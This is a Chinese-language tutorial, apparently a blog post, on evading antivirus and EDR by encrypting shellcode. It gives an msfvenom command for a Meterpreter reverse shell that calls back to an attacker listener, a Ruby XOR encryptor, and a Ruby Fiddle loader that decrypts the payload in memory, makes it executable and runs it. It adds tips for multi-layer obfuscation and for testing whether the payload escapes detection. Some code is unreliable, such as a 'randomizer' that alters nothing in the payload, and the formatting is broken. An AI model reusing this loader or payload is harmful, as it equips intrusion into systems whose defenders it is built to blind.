一、Shellcode加密免杀的核心思路

在渗透测试和红队作业中,使用恶意载荷时最常遇到的问题就是被杀软和EDR一眼识破。尤其是当我们需要加载Shellcode时,这些工具会直接检测内存中的可疑代码模式。而绕过这些检测的关键,是让Shellcode看起来不像Shellcode

Shellcode加密免杀的核心思路可以分为以下几个步骤:

  1. 加密Shellcode:对原始的Shellcode进行加密处理,比如异或加密、AES加密等。
  2. 解密器载入:在目标机器上运行一个解密器,用于解密加密后的Shellcode。
  3. 动态加载:通过代码或内存操作,将解密后的Shellcode加载到内存中,并正常执行。

通过这种方式,即使杀软扫描到了加密后的Shellcode,也无法直接识别其行为特征;解密动作将在目标机器上完成,整个过程更加隐蔽。

以下,我们将从攻击原理、环境搭建到实战代码,逐步分析如何实现一个加密免杀的Shellcode加载器。

---

二、制作Shellcode:从Metasploit到加密处理

生成基础Shellcode

首先,我们需要生成一个标准的Shellcode,可以利用Metasploit的msfvenom工具完成:

<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin</code></pre>

  • -p 指定Payload类型,这里是reverse_tcp
  • LHOSTLPORT 为攻击者的监听IP和端口。
  • -f raw 生成一个原始格式的二进制Shellcode。
  • -o shellcode.bin 将结果保存到一个文件中。

生成的shellcode.bin是未经任何处理的原始Shellcode,这也是杀软和EDR重点关注的内容,我们下一步需要对其进行加密。

---

加密Shellcode:异或加密

为了示范,我们选择一种简单的加密方式:异或加密。异或操作不仅容易实现,还可以有效改变Shellcode的特征。不过实际使用时,建议使用更复杂的加密算法,比如AES。

以下是一个用Ruby编写的Shellcode加密脚本:

<pre><code class="language-ruby"># 读取原始的Shellcode original_shellcode = File.binread(&quot;shellcode.bin&quot;)

选择一个加密密钥

key = 0xAA

对每个字节进行异或加密

encrypted_shellcode = original_shellcode.bytes.map { |b| b ^ key }.pack(&quot;C*&quot;)

将加密后的Shellcode保存到文件

File.binwrite(&quot;encrypted_shellcode.bin&quot;, encrypted_shellcode)

puts &quot;[+] Shellcode加密完成,已保存为 encrypted_shellcode.bin&quot;</code></pre>

运行这段代码后,我们会得到一个名为encrypted_shellcode.bin的文件,它是加密后的Shellcode文件。

---

还需要构建解密器

在目标机器上运行时,我们需要一个解密器来还原加密的Shellcode。这一步将在后面的「加载与执行」环节中详细讲解。

黑客示意图

---

三、绕过检测:动态解密与内存加载

如果直接将加密后的Shellcode加载到目标内存中,杀软仍然有可能在Shellcode解密完成后检测到它的行为特征。因此,我们需要一个精巧的加载器来完成以下任务:

  1. 将加密的Shellcode解密到内存中。
  2. 动态分配内存,加载解密后的数据。
  3. 调用Shellcode的入口点执行它。

利用Ruby实现解密与加载

下面是一段用Ruby编写的加载器代码,它负责读取加密的Shellcode并在内存中解密后执行:

<pre><code class="language-ruby">require &#039;fiddle&#039;

读取加密后的Shellcode

encrypted_shellcode = File.binread(&quot;encrypted_shellcode.bin&quot;)

黑客示意图

和加密时相同的密钥

key = 0xAA

解密Shellcode

decrypted_shellcode = encrypted_shellcode.bytes.map { |b| b ^ key }.pack(&quot;C*&quot;)

动态分配内存

memory = Fiddle::Pointer.malloc(decrypted_shellcode.bytesize)

将解密后的Shellcode写入内存

memory[0, decrypted_shellcode.bytesize] = decrypted_shellcode

将内存标记为可执行

Fiddle::Function.new(Fiddle::Handle::DEFAULT[&#039;VirtualProtect&#039;], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID).call( memory, decrypted_shellcode.bytesize, 0x40, Fiddle::Pointer.malloc(4) )

执行Shellcode

Fiddle::Function.new(memory, [], Fiddle::TYPE_VOID).call</code></pre>

黑客示意图

---

四、细节优化:从单层加密到多层混淆

为了进一步增强免杀效果,我们可以结合多种技术手段进行混淆和隐藏。

多层加密

在第一层异或加密的基础上,可以叠加其他加密算法。例如:

  1. 首先对Shellcode进行AES加密;
  2. 然后再对AES密文进行异或加密;
  3. 目标机器上分步骤解密。

随机壳生成

另一种对抗EDR检测的方式是每次生成随机的加载壳,使得文件的哈希值和特征编码不断变化。

以下是一个简单的随机壳生成示例:

<pre><code class="language-ruby"># 生成随机壳的代码片段 def randomize_shell random_code = (0...20).map { rand(65..90).chr }.join eval(&quot;puts &#039;Randomized Code: #{random_code}&#039;&quot;) end

随代码生成而动态插入

randomize_shell</code></pre>

通过这种方式,即使同一个Shellcode每次运行也会有不同的特征。

---

五、实战验证:绕过杀软与EDR检测

经过上述加密与加载操作,我们可以验证Shellcode的免杀效果。在实际测试中,攻击者通常会使用以下方法:

  1. 病毒扫描测试:将加密后的Shellcode上传到环境中,测试是否被杀软拦截。
  2. 沙箱检测绕过:利用动态行为分析工具观察解密与加载过程,确保没有暴露恶意特征。
  3. 流量分析:确保Shellcode执行时的网络连接不会被检测到。

---

六、经验分享:如何避免常见错误

  1. 错误选择加密算法:简单的异或加密容易被工具快速破解,建议结合更复杂的算法。
  2. 忽视解密器的免杀:即使Shellcode被加密,解密器本身的行为特征也可能被检测到。
  3. 内存保护问题:在分配内存时,一定要确保内存区域的权限标记为可读、可写、可执行。

黑客示意图

---

七、合法警告与使用声明

本文分享的技术仅限于授权环境下的安全研究与测试,禁止任何形式的非法用途。攻击者思维是一把双刃剑,使用时请务必遵守法律与道德底线。